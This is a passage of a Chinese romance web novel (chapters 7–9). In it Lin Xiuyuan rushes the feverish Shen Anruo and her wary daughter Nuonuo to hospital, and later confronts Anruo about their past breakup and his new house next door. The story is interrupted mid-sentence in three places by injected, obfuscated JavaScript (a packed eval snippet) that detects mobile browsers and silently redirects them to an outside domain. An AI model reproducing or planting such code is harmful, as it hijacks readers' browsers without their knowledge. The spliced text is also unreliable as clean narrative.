其实黄桂琴不是打给的余至诚,她打给的是余至诚他妈曹敏芝。 黄桂琴接到方大川的电话后,着急得不行,她给安若的手机打电话没打通,想麻烦贺怀章去家里看看,贺怀章没有接电话。 她对那个方大川不信任,她原一直以为要搬进来的是他,怎么听他刚才电话里的意思,买房子的人又成了他老板。 即便她对方大川这个人印象还不错,但现在安若不知道是个什么情况,诺诺一个人在家,她可不敢说密码让他们直接进到家里去。 这一栋楼里,她也就只有曹敏芝的电话,曹敏芝这个人虽然平日里看不起这个看不起那个,但真要是有什么急事儿找到她,她也会帮一把手。 电话给曹敏芝打过去,接听的却是小余老板,曹敏芝早把这个号给儿子用了。 余至诚听黄桂琴说完,立刻三步并两步的下了楼。 诺诺听出是小余老板的声音,攥着的小拳头松开,踮脚打开反锁的门。 门外除了小余老板,还有一位叔叔和一位灰白头发的伯伯。 诺诺刚松开的小手又紧张地攥起来,她只看余至诚:“小余老板,我妈妈发烧了,吃了药,刚才头不烫了,现在又烫起来了,她很难受,我叫不醒她。” 余至诚还没开口,林修远已经迈步进了屋,俯身将诺诺抱起来,直接问:“妈妈呢?” 诺诺眨了眨眼,没说话,眼眶泛出些红,又看余至诚,她不认识这位的叔叔,只认识小余老板。 余至诚有些急,他指林修远:“欸,你吓到诺诺了,你到底是谁呀,要搬进来的那人我见过,可不是你。” 他还要再说什么,林修远一眼看过来,余至诚被他目光里的寒戾震慑住,嘴动了动,又给闭上了。 林修远收回视线,对着还在通话中的手机道:“夏小姐,麻烦你和诺诺说。” 又将手机贴到诺诺耳边。 诺诺听到电话那头是夏姨姨,立刻握住手机,大大的眼睛里蓄满泪花,她憋住没有让自己哭出来,认真听夏姨姨说完话,看着林修远,乖乖点头用鼻音“嗯”了声:“我知道了,夏姨姨。” 她记起来了,她在夏姨姨的婚礼上见过这个叔叔,原来他是夏姨姨的朋友。 诺诺给林修远指卧室的位置。 余至诚也想跟着进去,一旁的钟瑞峰将他拦住:“多谢余先生跑一趟,这里没什么事儿了,余先生可以走了。” 余至诚看着面前这个西装革履的中年男人,心里生出狐疑,他们今天是第一次见面,他又怎么知道他姓余。 他又问:“你们到底是什么人?” 钟瑞峰好脾气地笑笑:“这不是余先生该关心的。” 余至诚开蛋糕店,平日里各色各样的人接触得多,他能感觉到这位中年男人的态度温和只是表象。 看他通身的气质,肩板正背挺拔,目光锐利如炬,应该暗藏身手,能让这种人为自己所用当下属,想必进到卧室的那位身份不一般。 他想走,又没有动,至少要看看安若怎么样了。 林修远拿毛毯裹着沈安若抱在怀里从卧室出来,看到还站在客厅的余至诚,眉头不露痕迹地皱了下。 他吩咐钟瑞峰:“钟叔,给诺诺换鞋穿外套。” 又对诺诺介绍:“诺诺,这是钟爷爷,和你妈妈以前认识。” 钟瑞峰蹲下身,和她视线平行,笑得和蔼又慈祥:“诺诺好。” 诺诺平日里是不怎么怕生的,但现在妈妈昏迷不醒,身边又没有姨婆在,小小的一颗心里全是不安和害怕,她攥紧妈妈的手机,压着嗓音里颤,回道:“钟爷爷好。” 沈安若在半梦半醒中听到诺诺的声音,含混地叫她的名字。 诺诺听到妈妈在叫她,急急地趴到钟瑞峰的怀里,钟瑞峰抱她起来,诺诺抻着身子看妈妈:“妈妈,我在这儿。” 沈安若还陷在梦魇里,喃喃呓语:“诺诺不怕。” 诺诺忍住眼泪,伸手摸妈妈的脸:“妈妈,我不怕的,妈妈也不要怕,我们去医院打一针就好了。” 沈安若感觉到女儿的触摸,眼皮动了动,声音微弱无力:“好,妈妈也不怕。” 林修远看着她眼角沁出的一点细碎晶莹,黑眸微动,随后又恢复到平静无波澜,搂在她腰间的手不自觉地收紧了些。 钟瑞峰给诺诺穿好鞋穿好外套,又将她抱起来。 余至诚围在诺诺身边:“诺诺不用担心哈,妈妈会没事儿的,医院的医生都很厉害,我之前也是像你妈妈这样发烧,去医院找医生看过之后,马上就好了。” 诺诺乖乖点点头,眼泪汪汪地看着小余老板,她其实很想让小余老板陪着她和妈妈一起去医院,有她熟悉的人在,她心里的害怕好像就会少一些。 林修远看小姑娘一眼,又看钟叔。 钟瑞峰心领神会,对余至诚改口道:“余先生要是不忙的话--” 他话还没说完,余至诚已经接上:“我不忙,我陪着诺诺和安若去医院。” 已经走出去的林修远听到余至诚的话,眉头又是一拧,神色有些不耐。 车平稳又急速地行驶在暮色里,车里很安静,余至诚坐在副驾,视线一直盯着后视镜。 诺诺靠在安全座椅里,紧紧握着妈妈的手,时不时地看旁边的男人一眼,被泪水浸潮的眼睛里有不信任。 刚才姨婆在电话里说,他就是新邻居叔叔,可他是夏姨姨的朋友,夏姨姨的朋友应该不会是一个坏蛋吧。 林修远试着将手里的纸巾递过来:“不哭了。” 诺诺眨了眨眼,沾在睫毛上的泪珠悄无声息地坠落下来,她不接纸巾,只摇摇头,小声道:“我没有哭的。” 妈妈生病了,她要勇敢一些,不能哭鼻子。 沈安若在混混沌沌的火烧中得到些清明,慢慢睁开了些眼,轻声叫“诺诺”。 诺诺看她,眼里的泪花闪出亮:“妈妈,你醒了!” 沈安若攥着她的手,捏了捏,确认了她就在她身边,又闭上了眼。 诺诺眼眶又覆一层水,她飞快地抹了把眼,惶惶地看林修远,妈妈怎么又睡过去了。 林修远也看怀里的人,屈指碰碰她滚烫的脸,低声道:“沈--安若。” 中间顿了下,才把三个字连在一起叫出来,在他的下意识里,“沈安若”好像比“沈小姐”要顺口些。 沈安若听到落在耳边的声音,眼皮又动了动,掀开的视线里进来一个隐约的轮廓,她靠着他的胸膛,嘴唇微微翕动,干涩的嗓音模糊不清:“林修远……我好难受。” 林修远眉间沉沉地一跳,靠近她:“哪儿难受?” 沈安若没说话,手紧紧揪着他衬衫的一角,陷入到更深的梦魇里。 林修远看她许久,面无表情地将她眼角的潮湿粗略地抹去,又扯扯她身上的薄毯,将她往怀里抱了抱。 一抬眼,对上诺诺打量的目光,她一动不动地盯着他,开口问:“你就是林修远?” 林修远拿纸巾轻轻给她擦着流到下巴尖的泪珠:“你认识我?” 诺诺偏头避开他的手,垂下眼。 姨婆说过的,朋友也有好朋友和坏朋友,就算他是夏姨姨的朋友,也可以是一个坏蛋。 长长的睫毛掩住她的心底事,她回他,声音虽小,但一字一字说得很清楚:“不认识。” 林修远看着小姑娘满脸的戒备,收回落了空的手,眉宇凝重。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518085|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余至诚觉得林修远这个名字很耳熟,他肯定在哪儿听过,他直起些身,想将后视镜里的人看得更清楚些。 钟瑞峰按下按钮,升起后座的隔板,余至诚视线被挡住,什么都看不到了,只能又靠回椅背。 车开进恩慈医院,早就有人在候着,车一停下立刻就迎上来,直接到顶层。 诺诺不让林修远抱,也不让钟瑞峰抱,只牵着小余老板的手,妈妈到哪儿检查,她就跟到哪儿,不让人进去的地方,她就等在门口,一步都不想离开妈妈。 等沈安若输上液,她就安静地坐在床边看着妈妈,不喝林修远递来的水,也不吃钟瑞峰拿来的蜂蜜小面包,只有小余老板和她说话,她才回应。 床软和又舒服,诺诺这一个多小时担惊又害怕,绷直的肩背渐渐支撑不住,倒在妈妈的肩窝里,闭上了眼睛。 陪在一旁的看护阿姨见小姑娘睡着了,忙上前将她窝着的腿舒展开,轻着动作将她放到枕头上躺平,又给她盖好被子。 能住到恩慈医院的顶层,这可是个金贵的小姑娘,容不得她出一点差错。 余至诚正在走廊的角落里小声接电话,曹敏芝问他要吃晚饭的功夫了人去哪儿了,余至诚谎称朋友聚餐,他晚上要在外面吃。 他撅个屁股曹敏芝就知道他是拉屎还是放屁,当下就听出了他语气里虚头巴脑的遮掩,直问他是不是跟沈安若在一块儿呢? 她已经跟他明确地说过了,沈安若的男人死了,她要为她男人守着,这辈子都不打算再结婚。 谁知道这个赔钱货不知道怎么想的,反而对沈安若还更上心了,她也不知道是不是她当年怀孕的时候吃错了什么药,所以生出了这么个缺心眼的东西。 曹敏芝也不跟余至诚废话,只说他现在要是不回来吃饭,明天她就上门去找沈安若。 她倒要看看她家这个傻儿子对她沈安若这么上心,是不是沈安若当面一套背后一套,在她面前装正经装三贞九烈,背地里又给她儿子放暗钩子。 余至诚拗不过他老娘,诺诺已经睡着了,安若虽然还没醒,脸上已有了血色,桂姨马上就到,他不用再担心什么。 那个叫林修远的从安若输上液就不见了踪影,他跟守在病房门口的钟瑞峰说了声他家中有事,要先走。 钟瑞峰亲自将他送下楼,又给他安排好车。 余至诚几次想问他家老板和安若是什么关系,每次话到嘴边,钟瑞峰都笑眯眯地看着他,洗耳恭听的态度,弄得他反而张不开口。 司机候在车旁,开着车门在等他,余至诚只能上车,看到车后座放着的高档烟酒和西洋参愣了下,车门外的钟瑞峰温声解释,这是给家中长辈备的一点薄礼,还要多谢余先生今天帮忙。 余至诚听着钟瑞峰的话,心中隐约已经有了答案。 钟瑞峰看着车走远才上楼,进到病房隔壁的休息室,给坐在沙发上的人回话:“送走了。” 林修远淡淡“嗯”一声,从文件上抬起视线,看一眼屏幕里的监控,病床上的一大一小睡得安静。 钟瑞峰给他倒一杯温水:“小姑娘今天肯定吓坏了。” 林修远合上文件扔到一旁,望着窗外的夜色,沉默半晌,道出一个事实:“钟叔,她不喜欢我。” 小孩子的眼神做不了谎,喜欢还是讨厌一眼明了。 钟瑞峰笑,只说:“小姑娘很像妈妈。” 林修远若有似无地扯了下唇角:“是。” 长得像,笑起来更像。 三瓶液输完已经快八点,拆完针头,护士和护工阿姨都出去了。 林修远一手按着沈安若胳膊上的酒精棉球,一手给睡在旁边的诺诺抚开脸颊上散落的头发,母女俩的发丝都一样的细软浓密。 在睡梦中的沈安若眉心轻蹙起,低低地说了句什么。 林修远顿一下,俯身看她:“哪儿不舒服?” 沈安若睁开沉重的眼皮,看到眼前人,思绪有些恍惚,又慢慢弯下眼,她还在梦里的从前,以为自己半夜睡醒等回了他,嗓音轻又软:“你回来了。” 林修远看着她眼里的浅笑,神情渐冷寒,她不定是把他当成了谁,他起身要远离。 沈安若抬手勾住他的脖子,仰起脸,亲上他的唇。 林修远定住。 窗外的夜色起了雾。 8.第 8 章 江城的第一场雪来得无声无息,雾气凝成霜,又结成银粟,静悄悄地飘落在树梢枝头。 沈安若从旧梦的昏沉里转醒,视线有些模糊,看不清床前的人。 黄桂琴撑着下巴坐在床边的椅子上打瞌睡,床上的人一动,她马上就睁开了眼,扶着床头柜倾身往前看:“安若,醒了?感觉怎么样?” 沈安若的意识慢慢清晰,隐约有些零星的记忆,知道自己是被送进了医院,她虚弱地笑了笑,眨眨眼表示自己没事,又转头找诺诺的影子。 正趴在落地窗前和贺怀章一起看雪的诺诺听见桂姨婆的话,撒开小腿跑回到床边,被贺怀章抱上床。 她刚才一睡醒,见到贺怀章,只红了些眼圈,等到黄桂琴来,窝在姨婆肩上偷偷抹了几滴泪儿,现在看到沈安若终于醒了,再忍不住,扑到妈妈怀里,“哇”一声大哭起来。 沈安若让黄桂琴扶着她坐起来,抱住小姑娘柔声哄着,眼里不禁泛起些潮气,女儿平日里极少会哭,今天心里不知道得有多害怕,她的胆子本就没有多大,怕黑也怕冷,完全随了她。 诺诺也好哄,不一会儿就止住了哭声,就是眼泪还停不下来,像个小袋鼠一样扒在沈安若身上,双手紧搂着妈妈脖子,湿漉漉的面颊贴着妈妈的脸,嗓子里间或哽噎一声,可怜巴巴的小模样儿让黄桂琴看得鼻子也有些酸,偏过头去抹眼睛。 沈安若一手抱紧诺诺,一手握住黄桂琴的手捏了捏,又看贺怀章,有些歉意:“今天真的是麻烦你了,没耽误你什么事儿吧。” 她以为是贺怀章送她来的医院。 贺怀章温声解释:“不是我送你来的,我也是才到不久,我今天去了一趟沪城,诺诺和桂姨给我打电话的时候我还在飞机上,没有接到。” 黄桂琴擦干眼角,转过头来对沈安若道:“是余至诚和那方大川的老板送你过来的。” 不过她到的时候只见到了贺怀章,并没有见到方大川的那个老板,那个方大川把她从高铁站接过来后,也不知道去了哪儿。 沈安若还想问方大川是谁,抬眼看清楚病房里的陈设,蓦地怔住,这间病房对她来说不陌生。 她来过,在很久之前,也是这样一个初冬夜,想到在这张床上发生过的事,沈安若再待不下去。 黄桂琴不放心她这样直接出院,她了解沈安若的身体,一到换季,尤其是秋冬交际,就容易感冒发烧,但从来没有像今天这么不省人事过,至少要住一两天院观察一下。 医生来了倒没有强留,只给她开了些药,又嘱咐她这些天要好好休息,不要再着凉。 住院费的账单已经有人结掉,有人带着他们从专属电梯下楼,大厅门口还有安排好的车在候着,那个方大川所谓的老板自始至终都没有出现过,黄桂琴心里早有疑惑,不过也没有多嘴问。 沈安若没有坐那辆车,而是麻烦贺怀章送她们回去。 风卷着沙沙的雪粒子模糊了前路,沈安若抱紧熟睡的女儿,怔忪地看着车窗外。 贺怀章在后视镜里看着她苍白的脸,握紧方向盘。 外面风雪愈大,又一个冬天到来了。 沈安若在家休息了两天,身体基本缓了过来,没什么大碍。 她已经知道隔壁要搬进来的是谁,心里有些恼,他钱多得没地方花,想把房子买在哪儿她无权干涉,但他们几次碰面,他至少可以提前知会她一声。 诺诺这两天看着倒没什么不对,就是格外黏她。 沈安若知道她被吓得不轻,晚上都和她挤在小床上睡一个被窝,诺诺最喜欢妈妈和她一起睡在她的小床上,都快十点了,一点儿也不困,有说不完的悄悄话想和妈妈分享。 说到要给小余老板送什么礼物作为感谢,沈安若状似不经意地提了一句:“诺诺见过那位新邻居叔叔了?” 诺诺脸上的笑容淡了些,垂下眼帘,轻轻“嗯”一声,又抬眼看妈妈,小小声道:“我不喜欢他。” 沈安若微怔,小姑娘少有把不喜欢谁表现得这么明显,她抱她到怀里,看她的眼睛:“是他说了什么吗?” 诺诺趴在沈安若的肩上,手指一圈一圈地绕着她的头发,好一会儿,才开口,长长的睫毛忽闪频繁:“他的脸冷冰冰的,看起来凶凶的。” 她说完看了沈安若一眼,凑到她耳边,用更小的声音说:“我最喜欢怀章叔叔。” 沈安若也在她耳边问:“最喜欢怀章叔叔什么?” 诺诺被妈妈呵出的气息痒到,咯咯地笑开,掰着手指头一个一个地数:“怀章叔叔又高又帅,笑起来很好看,会做好吃的饭,会给我修玩具,还有-- ” 她话说到一半,又及时收住,小手紧紧捂住自己的嘴,隔着掌心对妈妈道:“剩下的就是秘密,不能说的。” 她和怀章叔叔的秘密。 沈安若双手放到她的腰侧轻碰威胁:“连妈妈都不能告诉?” 诺诺最怕痒,她笑着尖叫一声,手脚并用地想从妈妈身上逃开,马上又被捉了回来,不过还不肯松口,只道:“现在还不能告诉妈妈。” 沈安若直接挠上她的痒,诺诺躲不开,笑得上气不接下气,母女俩在被子里闹成一团,笑声隐隐约约传到院子里。 更深夜静,月浸银霜。 沈安若侧身看着熟睡的女儿,慢慢抚着她柔软的头发,小姑娘刚才明显没有说实话,但那天具体发生了什么,她那一星半点的记忆什么也连不起来,连做过的梦都不记得。 还是要找他谈一谈。 小姑娘看着活泼开朗,其实心思有些重,很能藏自己的心事儿。 可一连半个多月,隔壁都是安静的,桂姨说连那个方大川平日里都没有来过。 他或许是住去了银海湾,也可能是回了北城,只要他不是长期定在江城就好,她一点儿都不想和他做门对门的邻居,不到万不得已,她暂时还没有卖房搬家的打算。 沈安若下班从地铁口出来,裹紧身上的大衣往家走,天气越来越冷,还是有一辆车会方便些,现在国补力度大,政策也优惠,沈安若已经看了好几款,打算这周末去线下店试试车再做决定。 路上迎面碰到在遛狗的曹敏芝,沈安若简单跟她打了个招呼。 自打曹敏芝非要把她那远方的侄儿介绍给她,沈安若不想让老太太再多心,这段时间都有意无意地避免和余至诚有什么正面的接触。 但余至诚那天帮了大忙,她怎么也要表示一下感谢,诺诺原打算给小余老板做一张感谢贺卡,沈安若想了想,哄着诺诺没让她做,要是让曹敏芝看到保不准又要想出什么花儿。 她让桂姨在蛋糕店的卡里充了三千块钱,平时去店里买东西也都是桂姨带着诺诺去,她没再进过余至诚的店。 沈安若不知道的是,她就算再避嫌,也架不住有人闲着没事儿瞎琢磨。 这些日子余至诚整天蔫了吧唧丧眉搭眼的,曹敏芝问他出了什么事儿他也不说,给他安排相亲他死活就是不去见人,把曹敏芝给气够呛,认定是沈安若这儿做出了什么妖。 她活了这么大半辈子,在单位里什么勾心斗角的事儿没见过,还没人能在她面前耍了心眼。 曹敏芝拽着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528445|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自家的狗临时改了路线,跟上沈安若,闲聊起了天儿。 先是说天气聊晚饭,只往一些无关紧要的话题上扯,又昂着下巴说到余至诚公务员的考试成绩下来了,笔试第一名,马上就是面试,这要是面试也能通过,以后手里端着一个体制内的铁饭碗,还有蛋糕店这个不愁来钱的副业,这一辈子也就稳稳当当衣食无忧了。 最后又说起现在有好多人上赶着给余至诚介绍对象。 她最满意的要属她娘家表嫂介绍的那姑娘,父亲是区财政局的领导,母亲是幼儿园的园长。 这姑娘呢,留过几年学喝过洋墨水,现在在大学当老师,长得好,性子又乖,还听父母的话,连恋爱都没谈过,单纯得不行,一看就不是那种会当面一套背后一套耍什么歪心思的人。 要她看,两个人就是天上有地下无的般配,就是不知道人姑娘能不能看上自己家这个心眼实在好哄又好骗的傻小子。 沈安若听着曹敏芝话里时不时冒出的刺儿,起初还能耐下性子应两句,但她这两天来大姨妈,天儿又冷,她的耐心实在有限。 她笑盈盈地看曹敏芝:“怎么会看不上,曹姨您就放心吧,这小余老板要模样儿有模样儿,要学历有学历,要本事有本事,要是搁古代,都能去给公主当驸马爷。” 曹敏芝一噎,想说什么又说不出什么来,说她这话是讽刺吧,每个字儿都是夸赞,半个错处都让她挑不出,可她又不是傻的,怎么听着怎么觉得这话里的味儿不对。 旁边的阴影下突传来一声破功的闷笑,曹敏芝和沈安若同时转头看过去,她们都没注意到墙角站着的两个人。 方大川咬紧自己的唇,低下头,把笑声吞下去,恰逢手机响起震动,他赶紧得救似的接通电话走去一旁。 林修远从暗处走出来,面上无表情,看曹敏芝,不紧不慢道:“驸马爷也不是谁都能当,自己眼里的宝贝儿子,在别人那儿未必就是块儿香馍馍。” 越是实话越难听,曹敏芝瞬间脸红脖子青,她压下火气,想装云淡风轻又装不出来,上下打量林修远,上次她就看到他来找沈安若,也不知道两个人是什么关系。 她仰头问:“您哪位?” 林修远睨沈安若一眼。 沈安若对上他的目光,脑子一热,抢先一步跟曹敏芝介绍:“我哥,娘家的表哥。” 林修远看着她,讥诮地扯了下唇角,几年过去,半点长进都无,还是跟以前一样,说谎不打草稿张口就来。 曹敏芝暗地里想翻林修远个白眼又没敢翻,光打眼一看就知道这个男人不是好惹的,她假装拽不住自家的狗,匆匆和沈安若道了别。 青石板路上只剩两人对望,寒风晃着树影,路灯黄昏。 他看起来比半个月前要更瘦了些,看她的眼神跟之前的陌生也有些不一样,沈安若目光微闪,又仔细看他。 林修远看着她被风吹得乱舞的发丝,眉梢轻扬:“我什么时候成了沈小姐的娘家表哥?” 沈安诺睫毛眨了下,垂下眼:“不然要说什么。” 她乍一看到他,脑子就有些乱,她也不知道刚才的话是怎么从她嘴里顺出来的,但总不能跟曹敏芝说,他就是她那个“死”了后从坟墓里蹦出来的男人,说谎就是这样,说出一个谎,后面就要用一百个谎来圆。 林修远走近一步,伸手压住她乱飞的头发,又给她拢紧敞开的大衣领口。 沈安若被迫抬起头。 林修远目光落在她的红唇上,漫不经心地开口:“我倒是不知道谁家的妹妹会在病床上搂着自己的表哥亲。” 9.第 9 章 沈安若让他的话打了个措手不及,愣住:“什么意思?” 林修远道:“你自己做过什么自己不记得?” 沈安若虽然不记得,但心里已经有了大概的答案,她装傻:“记得什么?” 两人的影子虚虚晃晃地重叠在墙上,连出口的白气也搅弄成一团。 林修远从她脸上收回目光,松开她,冷冷淡淡扔下一句“没什么”,转脚向前。 他步子太大,沈安若费劲儿地追在他身后,压着声音道:“你买这儿的房子为什么不提前跟我说一声。” 林修远看都不看她一眼,脚步渐缓,和她并肩而行,冷声问:“你当初怀诺诺,怎么不知道提前跟我说一声。” 沈安若被精准地掐住七寸,硬着头皮道:“我已经说过,我们当时已经分手了。” 林修远停住脚:“不如沈小姐来跟我说说,我们当初到底是因为什么分的手,沈小姐给我的感觉总像是藏着什么话没有说尽。” 沈安若不自觉地攥紧包链,金属的冰凉硌得掌心有些疼,她轻声道:“分手还能因为什么,无非就是我对你感情淡了,你也厌倦了我。” 林修远盯着她的眼睛,缓缓点头:“原来如此。” 沈安若捕捉到他目光里一闪而过的厌恶,再细看,他的眼底已恢复到漠然的清明,好像刚才只是她的错觉。 她又问:“你那天跟诺诺说了什么?” 林修远沉默片刻:“什么都没说,她只肯跟那姓余的说话,一句都不搭理我。” 沈安若有些疑惑,或许是小姑娘那天吓坏了,所以对生人有抵触……突然冒出一个隐约的想法,又觉得不可能,她之前带她去医院,她就只当他是她老板的家人,除此之外,诺诺和他就再没有其他接触。 她心里乱糟糟,面上不显,和他商量:“你能不能不住这儿? 林修远看她:“那我去住哪儿?” 沈安若抿了抿唇:“你城东那边不是还有套房子。” 那处宅子临山又临湖,空气好,对他休养身体也好。 林修远回:“太远了,我现在体力不比从前,没那么多精力每天在路上折腾。 沈安若又道:“清风苑呢?” 林修远说:“那地儿太大,我的腿经不起楼上楼下地走台阶。” 沈安若说到最后,才提起她最不想提起的那处:“你可以去住银海湾。” 他以前就爱住在那儿,也爱把她往那边带。 林修远神色淡,语气更淡:“不知道银海湾是不是招了什么狐仙儿,我一睡上那张床就做些乱七八糟的梦,睡不踏实。” 沈安若觉得他话里有话,似是在意有所指什么。 林修远冷瞧她:“沈小姐对我在江城的房产倒是了解得一清二楚,看来是都去过。” 沈安若偏开他的视线,将滑下胳膊的包又甩回到肩上:“我做过你两年助理,这些事情自然清楚。” 两人一时无言。 林修远看她的眸光融在寒冷的夜色里,沈安若望着前面一个挨着一个的窗户泄出的温暖灯光,风抄着落叶在空中卷起旋涡,一圈绕过一圈的沉默。 “妈妈!” 清脆的声响从不远处传来,诺诺松开黄桂琴的手,小跑着奔过来,帽子上毛绒绒的小圆球在风中一甩一甩的。 沈安若上前几步俯身将她抱起来。 诺诺搂上妈妈的脖子:“我就猜到妈妈要回来了,我和姨婆来接妈妈回家,姨婆已经做好饭啦!” 沈安若亲亲她热乎乎的小脸蛋儿:“那我们回家。” 诺诺歪头笑,看清后面走过来的林修远,笑容滞了下,又礼貌打招呼:“邻居叔叔好。” 林修远神情微动,又靠近一步。 诺诺不等他开口,就跟他挥手道:“邻居叔叔再见。” 视线在他身上停留都没有超过一秒,就又看回妈妈,说起了姨婆晚饭都做了什么好吃的。 沈安若眼睛不离她,她能感觉到小姑娘对他的不待见,心里不安更多,她没再管身后的人,抱紧诺诺走向在前面等着的桂姨。 林修远看着她走远的背影,眼里只剩冰冷的寒意。 她四年前骗了他还不够,现在又想来骗他,她这种人,天生就没心没肝没肺,她何曾在他身上放过半分感情,又哪儿来的感情淡了。 他居然还向她问出他当初是不是很喜欢她这种蠢问题,他怎么可能会喜欢她,他不过是每天看她洋相出尽傻到极点,所以留她在身边,随便逗弄一阵子。 仅此而已。 晚饭吃完,母女俩一起躺在浴缸里泡了个热水澡,沈安若也不追着诺诺问有关邻居叔叔的事情,她只尽可能地让她放松,陪她在浴缸里吹泡泡打水仗玩得开心。 窗外起了北风,刮得树摇枝颤,呼呼作响。 洗完澡出来,沈安若给诺诺吹着头发,诺诺跟一个奶白的团子一样窝在妈妈腿上,小下巴一点一点的,眼皮都快要睁不开,沈安若看着她这个困顿的样子,眼里弯出笑,关上吹风机,拿手指给她顺了顺头发,抱她躺到枕头上。 诺诺睁开些眼皮,迷迷瞪瞪地问出憋了一晚上的话:“妈妈,新邻居叔叔是不是一个渣渣男?” 沈安若没反应过来这个“渣渣男”是什么意思,搂她到怀里,轻声问:“什么是渣渣男?” 诺诺贴着妈妈的掌心蹭了蹭自己的脸,含糊呓语:“他有女朋友姐姐,他惹女朋友姐姐伤心,女朋友姐姐一直哭,我都听到了。” 她其实真正想问的是他是不是也惹妈妈那样伤心得哭过,她又知道她不能问。 沈安若怔了下,又看她,小姑娘已经闭眼睡熟了过去。 床头柜上起了声震动,她伸手拿过手机,是一条信息,号码没有备注,十一个数字却像是刻在了她的脑子里,几年过去,她仍能一眼认出。 他道,【先别跟诺诺说我是谁,我另有安排】 颐指气使的命令,像是在交待工作。 他已经不是她老板,沈安若没有理这条信息,把手机调成静音模式,扔到一旁,给诺诺掩好被子,下床到浴室护肤吹头发,里里外外刷了一遍浴缸,收拾干净浴室,又准备出第二天要穿的衣服,都弄完已经快十一点。 一夜无梦的好眠。 转天下午下班前,微信的通讯录上多了个红点,有人添加她,备注是【林修远】。 她没有删谁微信的习惯,哪怕是当初两个人闹掰。 办公室外面有人敲门:“安若姐,好了吗?” 沈安若将手机放到包里,拿起衣架上的大衣往外走。 今天晚上公司有聚餐。 一是欢迎技术部新入职的同事,贺怀章上次去沪城把自己的师弟挖了过来,给公司又添了一员猛将。二是冯宝珠出差一个多月终于回国,怎么也要庆祝庆祝。三是她和冯宝珠还有贺怀章三个人共用的小助理吴慧慧今天过生日。 小公司就是这样,一个人总是会身负多职,吴慧慧除了是助理还是公司的人事。 三件喜事凑在了一起,全公司出动,总共也就十几个人,前前后后四辆车坐满。 聚餐定在鼎湘阁,冯宝珠还没有回公司上班,这几天都在家里休息,她下午早早就到了鼎湘阁排位置。 鼎湘阁是一对老夫妻开的,店面不算大,就一层,没有包厢,谁来吃都是大厅里一坐,也不预约,谁先到谁先吃,但架不住味道好,来晚了是真吃不到,冯宝珠最爱这一家,公司的聚餐十次有六次都在这儿。 沈安若进店就看到了冯宝珠。 微卷的栗色短发,钻石耳钉,面容精致,烟灰裙,马丁靴,俏丽又飒爽,就是人好像没什么精神,连蓬松的刘海看起来都有些怏怏不乐的样子。 沈安若坐到她身边:“怎么了,时差没倒好?” 冯宝珠摇摇头,歪到她耳侧道:“遇见个晦气的人。” 沈安若笑,顺手将她耳边翘起的几根发丝压下去:“谁还能让你这么不待见?” 冯宝珠皱皱翘挺的鼻子:“那个被我搅合黄了的结婚对象。” 沈安若挑眉:“他也在这儿吃饭?” 冯宝珠扬下巴给她点点角落的那一桌,沈安若好奇地顺着她的视线看过去。 男人肤色黝黑,浓眉深眸,面容硬朗,又有几分游刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16543397|186076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有余的恣意,气质倒是很出挑,就是和冯宝珠的喜好相差甚远。 冯宝珠喜欢长得白净的,她交往过的几任男友都是白白净净阳光开朗大男孩儿那一款。 沈安若又看那男人一眼,她怎么感觉那男人眉眼间跟李寒峻有些像。 冯宝珠压着声音道:“李寒峻他大哥。” 沈安若有些惊讶,她只知道冯宝珠被家里摁着头去相了一次亲,并不知道相亲的对方是谁。 不过倒也没有太意外,冯家从商,李家从政,典型的政商联姻强强结合,两家的长辈又有些渊源,知根知底,要是两个人真能成,也是一桩好姻缘。 冯宝珠随意地翻着菜单:“我们两家中间的熟人太多,相亲这事儿他妈和我妈都没有对外说,连夏媛姐都不知道,你当我为什么要抢着去出这次差,我就是不想去参加夏媛姐的婚礼,要是再碰到他,得尴尬死。” 她越说越气:“他比我都大十岁,我叫他一声叔叔都叫得,我初中军训的教官就是他,有一次我和我旁边的女生只聊了几句闲天,他就罚我在大太阳底下站军姿,我对他都有心理阴影,有段时间一见到他,我两条腿就打哆嗦,我也不知道我爸是怎么想的,我结婚是找男人给我当老公,不是给我自己找个管天管地的爹。” 沈安若看她:“你要是觉得不舒服我们就换一个地方,隔壁的烤鱼上次我们不是吃过,味道也很好。” 冯宝珠摇头摇成拨浪鼓:“我要是现在走了,就跟我怕了他似的,他明明也看不上我,却在我妈那儿表现得像是对我满意得不行,逼着我跳出来做这个坏人,老男人一个,又奸诈心眼子又多,我不走,我想这顿饭想了多久了,凭什么要因为他这颗老鼠屎坏了我的好心情。” 她说着话,“啪”一下拍上菜单,扬声喊服务员:“服务员,点菜!” 李寒山闻声看过来,似笑非笑的眼神就跟在逗弄小孩儿玩一样,冯宝珠看到他那张脸,心里更气。 